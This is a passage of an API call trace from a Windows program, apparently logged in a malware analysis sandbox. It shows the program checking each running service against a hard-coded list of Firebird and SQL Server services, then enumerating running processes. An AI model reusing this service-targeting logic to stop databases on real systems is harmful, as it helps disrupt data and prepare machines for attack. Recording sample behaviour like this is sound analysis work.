(lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0201.383] lstrlenW (lpString="BFE") returned 3 [0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0201.383] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0201.383] lstrlenW (lpString="CDPSvc") returned 6 [0201.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0201.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0201.384] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0201.384] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0201.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0201.384] lstrlenW (lpString="ClickToRunSvc") returned 13 [0201.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0201.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0201.384] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0201.384] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0201.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0201.384] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0201.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0201.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0201.384] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0201.384] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0201.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0201.384] lstrlenW (lpString="CryptSvc") returned 8 [0201.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0201.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0201.384] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0201.384] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0201.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0201.384] lstrlenW (lpString="DcomLaunch") returned 10 [0201.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0201.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0201.384] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0201.384] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0201.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0201.384] lstrlenW (lpString="DeviceAssociationService") returned 24 [0201.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0201.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0201.384] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0201.385] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0201.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0201.385] lstrlenW (lpString="Dhcp") returned 4 [0201.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0201.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0201.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0201.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0201.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0201.385] lstrlenW (lpString="Dnscache") returned 8 [0201.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0201.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0201.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0201.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0201.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0201.385] lstrlenW (lpString="DPS") returned 3 [0201.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0201.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0201.385] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0201.385] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0201.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0201.385] lstrlenW (lpString="DusmSvc") returned 7 [0201.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0201.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0201.385] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0201.385] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0201.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0201.385] lstrlenW (lpString="EventLog") returned 8 [0201.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0201.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0201.385] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0201.385] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0201.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0201.385] lstrlenW (lpString="EventSystem") returned 11 [0201.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0201.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0201.386] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0201.386] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0201.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0201.386] lstrlenW (lpString="FontCache") returned 9 [0201.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0201.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0201.386] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0201.386] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0201.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0201.386] lstrlenW (lpString="gpsvc") returned 5 [0201.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0201.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0201.386] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0201.386] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0201.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0201.386] lstrlenW (lpString="iphlpsvc") returned 8 [0201.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0201.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0201.386] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0201.386] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0201.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0201.386] lstrlenW (lpString="KeyIso") returned 6 [0201.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0201.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0201.386] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0201.386] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0201.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0201.386] lstrlenW (lpString="LanmanServer") returned 12 [0201.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0201.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0201.386] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0201.386] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0201.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0201.387] lstrlenW (lpString="LanmanWorkstation") returned 17 [0201.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0201.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0201.387] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0201.387] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0201.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0201.387] lstrlenW (lpString="lfsvc") returned 5 [0201.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0201.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0201.387] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0201.387] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0201.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0201.387] lstrlenW (lpString="lmhosts") returned 7 [0201.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0201.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0201.387] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0201.387] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0201.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0201.387] lstrlenW (lpString="LSM") returned 3 [0201.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0201.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0201.387] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0201.387] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0201.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0201.387] lstrlenW (lpString="MpsSvc") returned 6 [0201.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0201.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0201.387] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0201.387] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0201.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0201.387] lstrlenW (lpString="NcbService") returned 10 [0201.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0201.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0201.388] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0201.388] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0201.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0201.388] lstrlenW (lpString="netprofm") returned 8 [0201.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0201.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0201.388] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0201.388] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0201.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0201.388] lstrlenW (lpString="NgcSvc") returned 6 [0201.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0201.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0201.388] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0201.388] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0201.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0201.388] lstrlenW (lpString="NlaSvc") returned 6 [0201.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0201.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0201.388] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0201.388] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0201.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0201.388] lstrlenW (lpString="nsi") returned 3 [0201.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0201.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0201.388] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0201.388] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0201.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0201.388] lstrlenW (lpString="PcaSvc") returned 6 [0201.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0201.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0201.388] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0201.388] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0201.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0201.389] lstrlenW (lpString="PlugPlay") returned 8 [0201.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0201.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0201.389] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0201.389] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0201.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0201.389] lstrlenW (lpString="Power") returned 5 [0201.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0201.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0201.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0201.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0201.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0201.389] lstrlenW (lpString="ProfSvc") returned 7 [0201.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0201.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0201.389] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0201.389] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0201.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0201.389] lstrlenW (lpString="RpcEptMapper") returned 12 [0201.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0201.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0201.389] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0201.389] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0201.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0201.389] lstrlenW (lpString="RpcSs") returned 5 [0201.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0201.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0201.389] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0201.389] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0201.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0201.389] lstrlenW (lpString="SamSs") returned 5 [0201.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0201.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0201.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0201.390] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0201.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0201.390] lstrlenW (lpString="Schedule") returned 8 [0201.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0201.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0201.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0201.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0201.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0201.390] lstrlenW (lpString="SecurityHealthService") returned 21 [0201.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0201.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0201.390] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0201.390] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0201.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0201.390] lstrlenW (lpString="SENS") returned 4 [0201.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0201.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0201.390] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0201.390] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0201.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0201.390] lstrlenW (lpString="ShellHWDetection") returned 16 [0201.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0201.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0201.390] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0201.390] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0201.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0201.390] lstrlenW (lpString="Spooler") returned 7 [0201.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0201.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0201.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0201.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0201.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0201.390] lstrlenW (lpString="StateRepository") returned 15 [0201.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0201.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0201.391] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0201.391] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0201.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0201.391] lstrlenW (lpString="SysMain") returned 7 [0201.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0201.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0201.391] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0201.391] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0201.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0201.391] lstrlenW (lpString="SystemEventsBroker") returned 18 [0201.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0201.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0201.391] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0201.391] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0201.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0201.391] lstrlenW (lpString="Themes") returned 6 [0201.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0201.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0201.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0201.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0201.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0201.391] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0201.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0201.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0201.391] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0201.391] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0201.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54d0068 | out: hHeap=0x420000) returned 1 [0201.391] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x568 [0201.396] Process32FirstW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.396] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0201.396] lstrlenW (lpString="System") returned 6 [0201.397] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0201.397] lstrlenW (lpString="smss.exe") returned 8 [0201.397] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.397] lstrlenW (lpString="csrss.exe") returned 9 [0201.397] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0201.398] lstrlenW (lpString="wininit.exe") returned 11 [0201.398] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.398] lstrlenW (lpString="csrss.exe") returned 9 [0201.398] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0201.399] lstrlenW (lpString="winlogon.exe") returned 12 [0201.399] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0201.399] lstrlenW (lpString="services.exe") returned 12 [0201.399] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0201.400] lstrlenW (lpString="lsass.exe") returned 9 [0201.400] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0201.400] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0201.400] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0201.400] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0201.400] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.401] lstrlenW (lpString="svchost.exe") returned 11 [0201.401] Process32NextW (in: 